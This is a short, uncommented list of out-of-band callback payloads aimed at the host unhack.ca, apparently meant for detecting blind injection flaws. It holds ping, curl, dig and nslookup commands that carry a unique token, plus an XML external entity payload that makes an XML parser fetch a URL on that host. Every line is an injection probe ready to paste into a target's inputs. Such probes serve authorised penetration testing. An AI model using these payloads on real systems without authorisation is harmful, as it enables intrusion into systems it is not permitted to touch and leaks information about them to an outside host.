$ ping -c1 -p 00cab7c167fb7a6ec4c40b5904684100 unhack.ca
$ curl http://unhack.ca/p/cab7c167fb7a6ec4c40b59046841
$ dig cab7c167fb7a6ec4c40b59046841 @unhack.ca
$ dig cab7c167fb7a6ec4c40b59046841.ns.unhack.ca
C:\> nslookup cab7c167fb7a6ec4c40b59046841 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/cab7c167fb7a6ec4c40b59046841">]> <foo>&xxe;</foo>